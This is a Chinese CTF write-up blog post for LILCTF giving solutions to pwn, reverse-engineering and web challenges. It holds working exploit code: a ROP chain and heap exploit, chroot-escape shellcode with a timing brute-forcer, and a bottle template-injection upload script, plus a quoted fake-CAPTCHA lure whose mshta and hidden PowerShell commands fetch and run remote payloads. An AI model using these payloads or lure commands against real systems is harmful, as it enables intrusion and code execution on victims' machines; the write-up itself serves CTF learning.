payload=p64(0)+p64(target-0x10)
edit(0,payload)
add(2,b'\x58')
payload=p64(0x6CCD60)+p64(0)+p64(0x6CA858)*2
edit(0,payload)
add(0,p64(0x6CCD60)*3)
edit(2,p64(0x6CCD68)+p64(0x6CCD70)+p64(0)*4)
fhook=0x6CC5E8
magic=0x4b8fb8
flag=0x6ccd78
#rsp->0x6CCE40
edit(0,p64(fhook)+p64(0x6CCE40)+b"./flag\x00\x00")
edit(1,p64(magic))
rdi=0x401a16
rsi=0x401b37
rdx=0x443136
rax=0x41fc84
syscall=0x4678e5
payload =p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(0x6CBBA0)+p64(rdx)+p64(0x60)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(1)+p64(rax)+p64(1)+p64(syscall)
edit(2,payload)
free(2)

io.interactive()

The Truman Show

压线得分!!!

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-24h]
  int fd; // [rsp+10h] [rbp-20h]
  int v6; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  char templatea[7]; // [rsp+21h] [rbp-Fh] BYREF
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  buf_init(argc, argv, envp);
  puts("buf initial ok");
  securefd();
  puts("fd clear ok");
  puts("RUN and get ouside of the JAIL!!!");
  strcpy(templatea, "XXXXXX");
  if ( !mkdtemp(templatea) )
    __assert_fail("mkdtemp(jail_path) != NULL", "code.c", 0x3Bu, "main");
  puts("mkdir ok");
  if ( chroot(templatea) )
  {
    perror((const char *)&chroot);
    exit(-1);
  }
  puts("chroot ok");
  if ( chdir("/") )
    __assert_fail("chdir(\"/\") == 0", "code.c", 0x44u, "main");
  puts("chdir ok");
  fd = open("/flag", 65);
  write(fd, "FLAG{IT'S FAKE AND HERE IS THE TRUMAN SHOW}", 0x2BuLL);
  close(fd);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("Now it's your show time");
  v6 = read(0, buf, 0x23uLL);
  for ( i = 0; i < v6; ++i )
  {
    if ( *((_BYTE *)buf + i) == 0x80
      || *((_BYTE *)buf + i) == 0x81
      || *((_BYTE *)buf + i) == 0x83
      || *((_BYTE *)buf + i) > 0x37u && *((_BYTE *)buf + i) <= 0x3Bu )
    {
      *((_BYTE *)buf + i) = 0xCC;
    }
  }
  mprotect(buf, 0x1000uLL, 4);
  sandbox();
  ((void (*)(void))buf)();
  return 0;
}

题目为chroot逃逸,由于使用chroot将工作目录就在了一个随机名字的目录中

我们不能直接open(“/flag”)

在securefd中,留下了”/”根目录作为后门

int securefd()
{
  int result; // eax
  int fd; // [rsp+Ch] [rbp-4h]

  close(2);
  open("/", 0);
  result = open("/flag", 0);
  for ( fd = 3; fd <= 1000; ++fd )
    result = close(fd);
  return result;
}

且沙箱留下了openat,我们可以通过openat打开位于真机根目录中的”/flag”

由于标准输出函数被禁止了,我们要采用测信道爆破的方式命中flag

且shellcode被禁用了 0x80, 0x81, 0x83

几乎禁止了我们直接对内存进行xor,add,sub,or等操作

我们需要将flag放入寄存器后再使用xor比较才行

将机器码压缩到0x23非常极限

from pwn import *
#io=process('./pwn')
#io=remote("challenge.xinshi.fun",48136)
def bug():
    gdb.attach(io)
context.arch='amd64'
def pwn(offset,num):
    sc=asm(f"""
        push 2;pop rdi
        mov dword ptr [rsi], 0x67616c66
        xor r10,r10
        pop rdx
        pop rdx
        mov ax,257
        syscall
        mov edi,eax
        xor eax,eax
        pop rdx
        syscall
        mov al, [rsi+{offset}] 
        xor al, {num}
        jz $
        """)
    io.send(sc)
flag="LILCTF{"
idx=len(flag)
ch="-{qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
while True:
    for x in ch:
        #io=process('./pwn')
        io=remote("challenge.xinshi.fun",40452)
        io.recvuntil(b"Now it's your show time\n")
        print(' flag ---> '+flag+x)
        start = time.time()
        pwn(idx,ord(x))
        io.can_recv(timeout=4)
        end = time.time()
        io.close()
        print(end-start)
        if end - start > 4:
            flag += x
            break
    if flag.endswith("}"):
        break
    idx += 1
print(flag)
io.interactive()

#LILCTF{5bf21256-dd2c-4e2b-970e-1576757dafb2}

注意每次爆破都会创建一个目录,越爆破到后面创建目录消耗的时间会导致命中的时间测信道被混淆

所以每命中5,6个字符就要重启靶机

补:在shellcode过滤的过程中会,for循环过滤了”8″和”9″两个字符,导致这两个字符无法用于匹配.所以将唯一一个无法匹配的字符用8/9替换就可以了

Reverse

1’M no7 A rO6oT

网页诱导用户执行以下命令,对mp3执行\*i*\\\\\\\\\\\\\\\*2\msh*e 匹配到的程序。

powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:41909/Coloringoutomic_Host.mp3   http://challenge.xinshi.fun:41909/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

用这代码找到匹配的程序是mshta.exe,执行HTA用的,hta语法同html

Get-ChildItem \*i*\\\\\\\\\\\\\\\*2\msh*e 

下载mp3,用记事本打开,搜索”<\”来查找相关代码,此处省略数据. 接下来在浏览器控制台,输出将要执行的代码,连续反混淆js

<HTA:APPLI xmlns:dummy="http://e.org" CATION showInTaskbar="no" windowState="minimize">
<script>
    window.resizeTo(0, 0);
    window.moveTo(-9999, -9999);
    SK = 102; UP = 117; tV = 110; ...
    var SxhM = String.fromCharCode(...)
    eval(SxhM);
    window.close();
</script>

SxhM

function ioRjQN(FVKq) {
    var ohyLbg = "";
    for (var emGK = 0; emGK < FVKq.length; emGK++){
        var ndZC = String.fromCharCode(FVKq[emGK] - 601);
        ohyLbg = ohyLbg + ndZC
    }
    return ohyLbg
};
var ohyLbg = ioRjQN([...])
var emGK = ioRjQN([688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]);
var ioRjQN = new ActiveXObject(emGK);
ioRjQN.Run(ohyLbg, 0, true);

emGK是WScript.Shell,ohyLbg:

powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches('a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdf5fcf5e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '204') }) -join '';& $EFTE.Substring(0,3) $EFTE.Substring(3)
iex Start-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:41909/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

这里代码的意思应该是,连接网络下载了bestudding.jpg,这个不是图片而是指令,继续echo

$DebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue"

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

shutdown /s /t 600 >$Null 2>&1

$Form = New-Object System.Windows.Forms.Form
$Form.Text = "Ciallo~(∠·ω< )⌒★"
$Form.StartPosition = "Manual"
$Form.Location = New-Object System.Drawing.Point(40, 40)
$Form.Size = New-Object System.Drawing.Size(720, 480)
$Form.MinimalSize = New-Object System.Drawing.Size(720, 480)
$Form.MaximalSize = New-Object System.Drawing.Size(720, 480)
$Form.FormBorderStyle = "FixedDialog"
$Form.BackColor = "#0077CC"
$Form.MaximizeBox = $False
$Form.TopMost = $True


$fF1IA49G = "LILCTF{6e_v19ilan7_aG@ln$T_PHl$hIn9}"
$fF1IA49G = "N0pe"


$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = ":)"
$Label1.Location = New-Object System.Drawing.Point(64, 80)
$Label1.AutoSize = $True
$Label1.ForeColor = "White"
$Label1.Font = New-Object System.Drawing.Font("Consolas", 64)

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "这里没有 flag;这个窗口是怎么出现的呢,flag 就在那里"
$Label2.Location = New-Object System.Drawing.Point(64, 240)
$Label2.AutoSize = $True
$Label2.ForeColor = "White"
$Label2.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = "你的电脑将在 10 分钟后关机,请保存你的工作"
$Label3.Location = New-Object System.Drawing.Point(64, 300)
$Label3.AutoSize = $True
$Label3.ForeColor = "White"
$Label3.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Form.Controls.AddRange(@($Label1, $Label2, $Label3))

$Form.Add_Shown({$Form.Activate()})
$Form.Add_FormClosing({
    $_.Cancel = $True
    [System.Windows.Forms.MessageBox]::Show("不允许关闭!", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
})

$Form.ShowDialog() | Out-Null

ARM ASM

jadx反编译,发现主要逻辑在本地的so方法里面的check函数中

看一下so文件,然后看export导出跟踪到check函数:

对传入的字符串先用t向量乱序再异或,然后再进行移位操作,最后换表base64

最复杂的是第一步操作,它把原始字符串分成三块,每块长度为16字节,然后这三块进行相同的加密操作,但t向量每次也会更新,所以这三块最终的加密流程不太一样,解密的时候要用对应的t向量

t向量的更改方式就是异或一下n2序列,即0、1、2组成的长度为16的数组

从jadx里面提取一下密文,用在线网站base64解码,然后逆向移位,最后解决最复杂的乱序异或过程

base64解码过程:

逆向移位过程:

enc=[0x92,0xb7,0x7c,0x0b,0xbc,0x6b,0xb2,0x39,0x7d,0x13,0xa1,0x50,0x72,0x20,0x48,0x62,0x34,0x61,0xc3,0xb0,0x54,0xeb,0x33,0x6d,0xca,0x35,0x72,0x5b,0xb7,0x66,0xf2,0xb6,0x69,0x93,0xbc,0x62,0xaa,0x33,0x67,0xf3,0x31,0x6b,0x9b,0x2d,0x6c,0x3b,0xaf,0x6c]
encOut = [0]*48
for i in range(0,len(enc),3):
    encOut[i] = ((enc[i] >> 3) & 0xff) | ((enc[i] << 5) & 0xff)
    encOut[i+1] = ((enc[i+1] << 1) & 0xff) | ((enc[i+1] >> 7) & 0xff)
    encOut[i+2] = enc[i+2]
print(encOut)

乱序+异或过程:

enc = [82, 111, 124, 97, 121, 107, 86, 114, 125, 98, 67, 80, 78, 64, 72, 76, 104, 97, 120, 97, 84, 125, 102, 109, 89,
       106, 114, 107, 111, 102, 94, 109, 105, 114, 121, 98, 85, 102, 103, 126, 98, 107, 115, 90, 108, 103, 95, 108]

t0 = [0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08,
      0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00]

t_list = []
# 先准备好t向量列表
for n2 in range(3):
    t_list.append(t0)
    t0 = [b ^ n2 for b in t0]
print(t_list)

flag = [0] * 48
# 用对应的t向量解密对应的密文块
for n2 in range(3):
    t = t_list[n2]
    block_enc = enc[n2 * 16:(n2 + 1) * 16]

    # 先 XOR t
    after_xor = [block_enc[i] ^ t[i] for i in range(16)]

    # 再逆乱序
    orig_block = [0] * 16
    for i in range(16):
        orig_block[t[i]] = after_xor[i]

    flag[n2 * 16:(n2 + 1) * 16] = orig_block

print("".join(chr(x) for x in flag))

obfusheader.h

程序被严重控制流混淆,控制流没法看,但是flag的存储位置很好找,跟踪一下数据流

动态调试,随便输一下flag,慢慢试可以试出来flag长度为40

然后记住一下flag的存储地址,慢慢看汇编动调,调一会就回去看一下flag有没有被改变,调半天之后可以跟踪到这几个地方:

还有个按位取反(忘记截图了)

也就是说程序的加密流程为: 以word数组形式异或一个rand序列(种子未知)->byte数组每个元素高低位交换->按位取反

rand序列可以用我们输入的flag和其加密后的结果异或得出,为:

xorRand = [19574,32184,18276,20728,17319,13256,26503,27092,19582,24897,16484,4005,19731,32681,8697,23744,6006,30110,509,13132]

然后要找到密文,上面图里那个并不是最终的密文,可以直接动调到这里

即比对结束后的区域,再跟进前面得到的密文的地址查看就行

然后逆向解密即可

xorRand = [19574,32184,18276,20728,17319,13256,26503,27092,19582,24897,16484,4005,19731,32681,8697,23744,6006,30110,509,13132]
# 第一轮异或这个列表
# 第二轮高低位交换
# 第三轮按位取反
enc=[0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x3,0xDF,0x34,0x39,0x13,0xCB,0x47,0x2D,0x5B,0x7E,0xEF,0xFA,0x2D,0xC9,0xD2,0xFA,0xFA,0x2F,0x83,0xFD,0xA6,0xA8,0x6,0x1C,0xCE,0x7B,0x42,0xBC,0x53,0xB9,0xDD,0x1B]
enc2=[]
enc3=[]
enc4=[]
for i in enc:
    enc2.append(~i & 0xff)
print(enc2)
for i in enc2:
    highBit = i & 0xf0
    lowBit = i & 0x0f
    k = (highBit >> 4) | (lowBit << 4)
    enc3.append(k)
for i in range(0,len(enc3),2):
    highWord = enc3[i+1]
    lowWord = enc3[i]
    k = (highWord << 8) | lowWord
    enc4.append(k)
for i in range(20):
    print(enc4[i]^xorRand[i],end=',')

这个解出来是一个word数组,要根据小端序把它恢复成字符串

data = [
    18764, 17228, 18004, 30587, 16744, 24436, 9289, 17503, 21556, 12608,
    9033, 24439, 16451, 24430, 21612, 25183, 24421, 16709, 25911, 32110,
]

flag = ""
for num in data:
    flag += (chr(num & 0xFF) + chr((num >> 8) & 0xFF))
print(flag)

Qt_Creator

发现程序有反调试,而且输错了就直接退出,直接查IsDebugger的引用,改ZF过调试。

查exit的引用直接找到函数,v21记录是否成功,竟然是直接比较字符串,动态调试v22出flag

LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

Oh_My_Uboot

查找字符串确定主板信息

strings 224416_re-u-boot.elf | grep -iE "board"

board=vexpress
board_name=vexpress

使用QEMU模拟,另一边开个终端启用gdb

qemu-system-arm -machine vexpress-a9 -cpu cortex-a9 -m 512M -kernel u-boot.elf -nographic -s -S
target remote localhost:1234

这是调试的界面

U-Boot 2025.04 (Jul 01 2025 - 13:56:28 +0800)

DRAM:  512 MiB
WARNING: Caches not enabled
Core:  23 devices, 11 uclasses, devicetree: embed
Flash: 128 MiB
MMC:   mmci@5000: 0
Loading Environment from Flash... *** Warning - bad CRC, using default environment

In:    uart@9000
Out:   uart@9000
Err:   uart@9000
Net:   eth0: ethernet@3,02000000
Autoboot in 2 seconds
Hash sha256 not supported!
MMC Device 1 not found
no mmc device at slot 1
Card did not respond to voltage select! : -110
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (2 ms)
*** Warning: no boot file name; using '0A00020F.img'
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename '0A00020F.img'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
missing environment variable: pxefile_addr_r
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (0 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (0 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
cp - memory copy

Usage:
cp [.b, .w, .l] source target count
Wrong Image Type for bootm command
ERROR -91: can't get kernel image!
### Please input uboot password: ###

一直下断点、动态调试,前前后后下了五十。

因为程序把函数又加载一遍再运行的,所以进入7FF地址时dump出0x7FF50000~0x80000000的内存,用IDA协助分析。

也是成功找到交互的函数了,这个程序用空间也是真的省,提示信息的字符串和暂存flag的空间居然是同一块,最后两个函数一个是加密,一个是比较。

void sub_7FF71F74()
{
  int *v0; // r6
  int v1; // r3
  _BYTE *v2; // r2
  int v3; // r0
  int v4; // r4
  char v5; // r5
  _BYTE v6[4]; // [sp+0h] [bp-88h] BYREF
  _BYTE v7[52]; // [sp+4h] [bp-84h] BYREF
  _BYTE v8[38]; // [sp+38h] [bp-50h] BYREF
  char v9; // [sp+5Eh] [bp-2Ah] BYREF

  v0 = off_7FF72078;
  while ( *v0 )
  {
    sub_7FF5FCFC(v8, dword_7FF7207C, 38);
    sub_7FF5FC20(&v9, 0, 26);
    v1 = 0;
    v2 = v8;
    do
    {
      ++v1;
      *v2++ ^= 0x72u;
    }
    while ( v1 != 37 );
    v3 = sub_7FF7686C(v8);
    v4 = 0;
    while ( 1 )
    {
      v3 = sub_7FF76848(v3);
      v5 = v3;
      if ( (unsigned __int8)v3 == 13 )
        break;
      if ( (unsigned __int8)v3 == 8 )
      {
        if ( v4 > 0 )
        {
          sub_7FF768E4((unsigned __int8)v3);
          sub_7FF768E4(32);
          v3 = sub_7FF768E4(8);
          --v4;
        }
      }
      else
      {
        v3 = sub_7FF768E4(42);
        v6[v4 + 56] = v5;
        ++v4;
      }
    }
    v6[v4 + 56] = 0;
    sub_7FF768E4(10);
    sub_7FF71E3C(v8, v7);
    if ( !sub_7FFC2138(v7, dword_7FF72080) )
      *v0 = 0;
  }
}

Flag -> Xor 0x72 -> 魔改base58(自定义编码表chr(48)~chr(105))

-> “5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;”

_BYTE *__fastcall sub_7FF71E3C(_BYTE *a1, _BYTE *a2)
{
  int v4; // r0
  _BYTE *v5; // r3
  int v6; // r2
  _BYTE *v7; // r0
  int v8; // r3
  char *v9; // r1
  _BYTE *v10; // r4
  int v11; // r7
  _BYTE *v12; // r8
  unsigned __int8 *v13; // r10
  unsigned int v14; // r7
  _BYTE *v15; // r2
  unsigned int v16; // r3
  _BYTE *v17; // r4
  _BYTE *result; // r0
  unsigned __int8 *v19; // r11
  int v20; // r6
  unsigned __int8 v21; // r1
  char v22; // r1
  _BYTE v23[4]; // [sp+0h] [bp-90h] BYREF
  int v24; // [sp+4h] [bp-8Ch]
  char v25; // [sp+Ch] [bp-84h] BYREF

  v4 = sub_7FFC21E0();
  v5 = a1;
  v6 = v4;
  v7 = &a1[v4];
  while ( v5 != v7 )
    *v5++ ^= 0x72u;
  LOBYTE(v8) = 48;
  v9 = &v25;
  do
  {
    *v9++ = v8;
    v8 = (unsigned __int8)(v8 + 1);
  }
  while ( v8 != 106 );
  v10 = &a2[3 * (v6 / 2) + 3];
  v11 = v6 - 1;
  v12 = v10;
  sub_7FF5FCFC(v10, a1, v6);
  v13 = v10;
  v14 = (unsigned int)&v10[v11];
  while ( (unsigned int)v13 <= v14 )
  {
    if ( *v13 )
    {
      v19 = v13;
      v20 = 0;
      while ( (unsigned int)v19 <= v14 )
      {
        v24 = ((__int16)v20 << 8) + *v19;
        sub_7FFC8600(v24, 58);
        v20 = v21;
        *v19++ = sub_7FFC8534(v24, 58);
      }
      *--v12 = v23[v20 + 12];
    }
    else
    {
      ++v13;
    }
  }
  v15 = a2;
  v16 = 0;
  v17 = (_BYTE *)(v10 - v12);
  while ( (unsigned int)v17 > v16 )
  {
    v22 = v12[v16++];
    *v15++ = v22;
  }
  result = a2;
  *v15 = 0;
  return result;
}

Web

ez_bottle

由题目这部分可知,需要我们上传zip文件,然后会检测文件内容,合格之后再进行解压

@post('/upload')
def upload():
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'

    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'
        
 ....

通过查看bottle框架的开发文档,可以知道bottle允许%后跟上命令,那就可以将命令写在tlp文件中再进行解压后上传,题目过滤的_用chr(95)来代替,将执行路径直接设置为根目录,这样就可以直接包含flag文件

网站本身没有上传功能,也不让导入numpy,就直接用bottle自带的include,直接ai写个上传代码即可

import requests
import time
import re
import zipfile
from io import BytesIO

# 配置目标信息
TARGET_URL = "http://challenge.xinshi.fun:44810"  # 替换为目标URL
UPLOAD_ENDPOINT =f"{TARGET_URL}/upload"
VIEW_BASE =f"{TARGET_URL}/view"

# 创建恶意模板文件内容
exploit_content = """
% import bottle
% setattr(bottle, 'TEMPLATE' + chr(95) + 'PATH', ['/'])
% include('flag')
"""

# 创建内存中的ZIP文件defcreate_malicious_zip():
    zip_buffer = BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w') as zf:
        # 使用随机文件名增加成功率
        filename =f"exploit_{int(time.time())}.tpl"
        zf.writestr(filename, exploit_content)
    zip_buffer.seek(0)
    return zip_buffer, filename

# 上传ZIP文件并解析响应defupload_and_exploit():
    # 创建恶意ZIP
    zip_buffer, filename = create_malicious_zip()
    
    # 上传文件
    files = {'file': ('exploit.zip', zip_buffer, 'application/zip')}
    response = requests.post(UPLOAD_ENDPOINT, files=files)
    
    if response.status_code != 200:
        print(f"上传失败! 状态码: {response.status_code}")
        print(f"响应内容: {response.text[:500]}...")
        return# 解析响应获取MD5和文件名
    match = re.search(r'/view/([a-f0-9]+)/([^\s"]+)', response.text)
    ifnot match:
        print("解析上传响应失败!")
        print("尝试查找返回内容:", response.text[:500])
        return
    
    md5_hash = match.group(1)
    # 使用我们实际生成的文件名(响应中可能截断)# filename = match.group(2) # 访问漏洞URL
    exploit_url =f"{VIEW_BASE}/{md5_hash}/{filename}"
    print(f"访问漏洞URL: {exploit_url}")
    
    flag_response = requests.get(exploit_url)
    
    if flag_response.status_code == 200:
        print("\n成功获取响应:")
        print(flag_response.text)
        
        # 检查是否是flag格式if "flag{" in flag_response.text:
            print("\n🎉 成功获取flag!")
        else:
            print("响应中包含flag? 检查输出内容")
    else:
        print(f"获取flag失败! 状态码: {flag_response.status_code}")
        print(f"错误响应: {flag_response.text[:500]}...")

if __name__ == "__main__":
    print("开始漏洞利用...")
    print("1. 创建恶意ZIP文件")
    print("2. 上传到目标服务器")
    print("3. 触发模板注入漏洞")
    print("=" * 50)
    
    upload_and_exploit()
    
    
    
 #LILCTF{6O7T1E_haS_83en_reCYCLEd}
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇